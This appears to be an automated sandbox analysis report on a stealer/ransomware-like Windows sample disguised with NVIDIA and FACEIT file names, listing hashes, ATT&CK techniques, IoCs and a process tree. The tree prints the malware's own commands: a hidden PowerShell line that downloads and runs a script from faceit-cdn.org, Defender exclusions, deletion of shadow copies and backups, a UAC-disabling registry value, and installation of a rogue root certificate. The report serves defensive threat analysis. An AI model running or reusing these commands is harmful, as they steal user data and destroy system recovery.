bdb3b5fd6313c168a3e77761dd11fc278ec9a4657f92e4d65b97675e6d130589

Analysis

max time kernel
150s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 15:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Size 158.5MB
Sample260415-srxe9ady9s
SHA256 bdb3b5fd6313c168a3e77761dd11fc278ec9a4657f92e4d65b97675e6d130589
MD5 ec3e622c30baa33251b9db61d1d043d4
SHA1 9d9887ab3a9201ff2d819072f8e2a0a68be89f12
SHA512 a95ce78f7e240ec136b8a8cab8b0488bf105af1561310d95f5da86bc6aeea2428f9c15a8883fbbc8152d3b288ebe83e638b44bea8875eb41ecd4f6b810330280
SSDEEP 3145728:EH7ITR9UOy5ywH7MlSfC0jgDjvmnPEfJFjwcF196FDjj0891/z:3TBECS9jCmn8xFNF19CP91/z
TLSH
T1FE88331457B05E66E4B4D3709A500469FBA36DEA8FB2FC4D7261768827BC1C31E22F1B
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution impact persistence pyinstaller ransomware spyware stealer trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Program Files\\WindowsOptions\\scvhost.exe"	scvhost.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
12	2772	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2772	powershell.exe
2804	powershell.exe
2444	powershell.exe
1840	powershell.exe
4112	powershell.exe
5104	powershell.exe
4516	powershell.exe
2444	powershell.exe

Deletes system backups 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
4980	wbadmin.exe
4688	wbadmin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 11 IoCs

pid	Process
2200	UnRAR.exe
4412	nvidia_driver64.exe
3340	scvhost.exe
1416	nvidia_driver64.exe
2344	nvidia_driver64.exe
2808	nvidia_dr64.exe
4600	nvidia_dr64.exe
1828	nvidia_dr64.exe
3344	asd.exe
1108	nvidia_d64.exe
2728	nvidia_d64.exe

Loads dropped DLL 36 IoCs

pid	Process
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe
2728	nvidia_d64.exe

Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log	nvidia_dr64.exe
File created	C:\Program Files\WindowsOptions\7zr.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_d64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\n_config	powershell.exe
File created	C:\Program Files\WindowsOptions\UnRAR.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\WinSW-x64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.xml	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File created	C:\Program Files\WindowsOptions\1.txt	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\1.txt	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\Run.vbs	powershell.exe
File created	C:\Program Files\WindowsOptions\taskmgr.dll	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.wrapper.log	nvidia_driver64.exe
File created	C:\Program Files\WindowsOptions\asd.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\FACEITInstsller_64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64.exe	powershell.exe
File created	C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe	powershell.exe
File opened for modification	C:\Program Files\WindowsOptions\scvhost.log	scvhost.exe
File created	C:\Program Files\WindowsOptions\install.ps1	powershell.exe
File created	C:\Program Files\WindowsOptions\scvhost.exe	powershell.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Logs\ReAgent\ReAgent.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\setuperr.log	ReAgentc.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagwrn.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.3.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.1.etl	wbadmin.exe
File opened for modification	C:\Windows\Panther\UnattendGC\diagerr.xml	ReAgentc.exe
File opened for modification	C:\Windows\Logs\WindowsBackup\WBEngine.2.etl	wbadmin.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Detects Pyinstaller 1 IoCs

pyinstaller

resource	yara_rule
behavioral1/files/0x000700000002434e-94.dat	pyinstaller

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies trusted root certificate store through registry 1 TTPs 1 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\9871B8BECD0838B9B80A4C7376A98417929FE71F\Blob = 0300000001000000140000009871b8becd0838b9b80a4c7376a98417929fe71f0b00000001000000140000006d00690074006d00700072006f00780079000000200000000100000039030000308203353082021da00302010202140607ede5b11d07753dbf174e5a78ec7602bb8e6c300d06092a864886f70d01010b050030283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f7879301e170d3236303431333137303630305a170d3336303431323137303630305a30283112301006035504030c096d69746d70726f787931123010060355040a0c096d69746d70726f787930820122300d06092a864886f70d01010105000382010f003082010a0282010100e61020742aa48184979e6a62f5718dfa4116859623b5b2b8e1fd5a745800d9b9c10babca344d0676e3a0148d809992142e635153351eac496c210290dde7acc7ec688dd3caad02d25e111db905375846e28d95d2ef8082d5744ec5775a72e18ae5e6183de7ef699525358c2e536a8dada70bdd4114c23e73fe156e1fb3fcfcdb2a357c1266dfc4e5f71ba85af3bfcb6f077cce7f28c6286bd36dc307837a9179bb862f666eaaa0fe0eded7c4eb234a483c2aaaba6052324854c88537d55432485ed94d48e054a5ff4f8a28e198248071535a4b16cd2dbf7d04fc4e72bf10e51d51e6925cdbd2679444079f709d5701aa9b4673f18b519cf601300ee842832b1f0203010001a3573055300f0603551d130101ff040530030101ff30130603551d25040c300a06082b06010505070301300e0603551d0f0101ff040403020106301d0603551d0e04160414fcd541d8ffdc75e8f4d7a2b96652954e6cd5a02f300d06092a864886f70d01010b05000382010100ceeba4e16157412ae3693ad1342a3c77f6fb189bd8f88d9f90915d51a5e5f44d4af08271c52e05551f14869c5ce2b7eaf2f500ed7d962d24dffc82a1076c915dbbcaba6bc365195c1a0f67d589cdeebc4f1369b36bc1d7cc3c3f4e49c77287fcd5b6f4a4d3fd4773ecb55032eaf289caeabf53876ef10b211c100c918765acda654433e3fd9a8f66084fd7f58979b8ecca3825f0ac97ea3476909953b6f5b4476e9dd0c704d96e258983446a641a5ccabb6c01afb3280138444dedaccabbcb452d819b183d22959accd2e8dfbe7fe1c98c73b7f99a9ba8410804743198bf30cd436b59b230e5f771c6c88bc015e529cf2a45ad672eba3f5329f78468d780ae4d	nvidia_dr64.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3360	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4652	taskkill.exe
548	taskkill.exe
2184	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2714754311-527593155-1440850301-1000_Classes\Local Settings	2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\9871B8BECD0838B9B80A4C7376A98417929FE71F	nvidia_dr64.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
5104	powershell.exe
2444	powershell.exe
2444	powershell.exe
1840	powershell.exe
1840	powershell.exe
4112	powershell.exe
4112	powershell.exe
4112	powershell.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
2772	powershell.exe
2772	powershell.exe
3340	scvhost.exe
3340	scvhost.exe
2804	powershell.exe
2804	powershell.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
4516	powershell.exe
4516	powershell.exe
3340	scvhost.exe
3340	scvhost.exe
4516	powershell.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe
3340	scvhost.exe

Suspicious use of AdjustPrivilegeToken 59 IoCs

description	pid	Process
Token: SeDebugPrivilege	5104	powershell.exe
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	1840	powershell.exe
Token: SeDebugPrivilege	1416	nvidia_driver64.exe
Token: SeDebugPrivilege	2344	nvidia_driver64.exe
Token: SeDebugPrivilege	2808	nvidia_dr64.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4600	nvidia_dr64.exe
Token: SeBackupPrivilege	2740	vssvc.exe
Token: SeRestorePrivilege	2740	vssvc.exe
Token: SeAuditPrivilege	2740	vssvc.exe
Token: SeIncreaseQuotaPrivilege	4112	powershell.exe
Token: SeSecurityPrivilege	4112	powershell.exe
Token: SeTakeOwnershipPrivilege	4112	powershell.exe
Token: SeLoadDriverPrivilege	4112	powershell.exe
Token: SeSystemProfilePrivilege	4112	powershell.exe
Token: SeSystemtimePrivilege	4112	powershell.exe
Token: SeProfSingleProcessPrivilege	4112	powershell.exe
Token: SeIncBasePriorityPrivilege	4112	powershell.exe
Token: SeCreatePagefilePrivilege	4112	powershell.exe
Token: SeBackupPrivilege	4112	powershell.exe
Token: SeRestorePrivilege	4112	powershell.exe
Token: SeShutdownPrivilege	4112	powershell.exe
Token: SeDebugPrivilege	4112	powershell.exe
Token: SeSystemEnvironmentPrivilege	4112	powershell.exe
Token: SeRemoteShutdownPrivilege	4112	powershell.exe
Token: SeUndockPrivilege	4112	powershell.exe
Token: SeManageVolumePrivilege	4112	powershell.exe
Token: 33	4112	powershell.exe
Token: 34	4112	powershell.exe
Token: 35	4112	powershell.exe
Token: 36	4112	powershell.exe
Token: SeDebugPrivilege	2772	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	4516	powershell.exe
Token: SeIncreaseQuotaPrivilege	2804	powershell.exe
Token: SeSecurityPrivilege	2804	powershell.exe
Token: SeTakeOwnershipPrivilege	2804	powershell.exe
Token: SeLoadDriverPrivilege	2804	powershell.exe
Token: SeSystemProfilePrivilege	2804	powershell.exe
Token: SeSystemtimePrivilege	2804	powershell.exe
Token: SeProfSingleProcessPrivilege	2804	powershell.exe
Token: SeIncBasePriorityPrivilege	2804	powershell.exe
Token: SeCreatePagefilePrivilege	2804	powershell.exe
Token: SeBackupPrivilege	2804	powershell.exe
Token: SeRestorePrivilege	2804	powershell.exe
Token: SeShutdownPrivilege	2804	powershell.exe
Token: SeDebugPrivilege	2804	powershell.exe
Token: SeSystemEnvironmentPrivilege	2804	powershell.exe
Token: SeRemoteShutdownPrivilege	2804	powershell.exe
Token: SeUndockPrivilege	2804	powershell.exe
Token: SeManageVolumePrivilege	2804	powershell.exe
Token: 33	2804	powershell.exe
Token: 34	2804	powershell.exe
Token: 35	2804	powershell.exe
Token: 36	2804	powershell.exe
Token: SeDebugPrivilege	4652	taskkill.exe
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeDebugPrivilege	2184	taskkill.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3960 wrote to memory of 1920	3960	2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe	86
PID 1920 wrote to memory of 5104	1920	WScript.exe	87
PID 5104 wrote to memory of 2200	5104	powershell.exe	89
PID 5104 wrote to memory of 4412	5104	powershell.exe	90
PID 5104 wrote to memory of 3340	5104	powershell.exe	91
PID 3340 wrote to memory of 2444	3340	scvhost.exe	92
PID 5104 wrote to memory of 1416	5104	powershell.exe	94
PID 3340 wrote to memory of 1840	3340	scvhost.exe	96
PID 1840 wrote to memory of 808	1840	powershell.exe	102
PID 5104 wrote to memory of 2808	5104	powershell.exe	106
PID 808 wrote to memory of 4140	808	cmd.exe	108
PID 1840 wrote to memory of 3760	1840	powershell.exe	109
PID 3760 wrote to memory of 4980	3760	cmd.exe	112
PID 5104 wrote to memory of 1828	5104	powershell.exe	114
PID 1828 wrote to memory of 4112	1828	nvidia_dr64.exe	115
PID 1840 wrote to memory of 1532	1840	powershell.exe	117
PID 1532 wrote to memory of 4688	1532	cmd.exe	119
PID 1840 wrote to memory of 1452	1840	powershell.exe	120
PID 1452 wrote to memory of 3360	1452	cmd.exe	122
PID 3340 wrote to memory of 3344	3340	scvhost.exe	125
PID 3340 wrote to memory of 2772	3340	scvhost.exe	126
PID 1828 wrote to memory of 2804	1828	nvidia_dr64.exe	128
PID 2772 wrote to memory of 4516	2772	powershell.exe	130
PID 1828 wrote to memory of 1108	1828	nvidia_dr64.exe	131
PID 1108 wrote to memory of 2728	1108	nvidia_d64.exe	133
PID 2728 wrote to memory of 4652	2728	nvidia_d64.exe	134
PID 2728 wrote to memory of 548	2728	nvidia_d64.exe	136
PID 2728 wrote to memory of 2184	2728	nvidia_d64.exe	138

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	scvhost.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-04-15_ec3e622c30baa33251b9db61d1d043d4_cryptbot_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3960
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Run.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1920
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\RarSFX0\install.ps1"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:5104
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UnRAR.exe" x -y -ppassword C:\Users\Admin\AppData\Local\Temp\RarSFX0\sfx.rar C:\Users\Admin\AppData\Local\Temp\RarSFX0\
      4⤵
      Executes dropped EXE
      PID:2200
  - - C:\Program Files\WindowsOptions\nvidia_driver64.exe
      "C:\Program Files\WindowsOptions\nvidia_driver64.exe"
      4⤵
      Executes dropped EXE
      PID:4412
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:3340
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2444
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1840
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:808
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:4140
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:3760
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4980
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1532
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4688
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1452
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:3360
    - - C:\Program Files\WindowsOptions\asd.exe
        
        "C:\Program Files\WindowsOptions\asd.exe"
        5⤵
        Executes dropped EXE
        
        PID:3344
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "& { curl -o $env:TEMP\send_tdata.ps1 https://faceit-cdn.org/uploads/Faceit/berserk/send_tdata.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMP\send_tdata.ps1 }"
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2772
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Local\Temp\send_tdata.ps1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4516
  - - C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
      "C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe" install
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      PID:1416
  - - C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe" install
      4⤵
      Executes dropped EXE
      Drops file in Program Files directory
      Suspicious use of AdjustPrivilegeToken
      PID:2808
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:1828
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2804
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:1108
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2728
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4652
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:548
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2184

C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe
"C:\Program Files\WindowsOptions\nvidia_driver64\nvidia_driver64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:2344

C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe
"C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:4600

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2740

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

nvidia_dr64.wrapper.log

Path C:\Program Files\WindowsOptions\nvidia_dr64\nvidia_dr64.wrapper.log
Size 244B
SHA256 b1dcd0cdba5ab75afe8e307bb3de31dd50a95d63d598dac5d06200b89405d57c
MD5 0d579266ea348ec08715f02dc71c4f35
SHA1 34380cf5df1ef8f76fe2d5104b9e2131305831d8
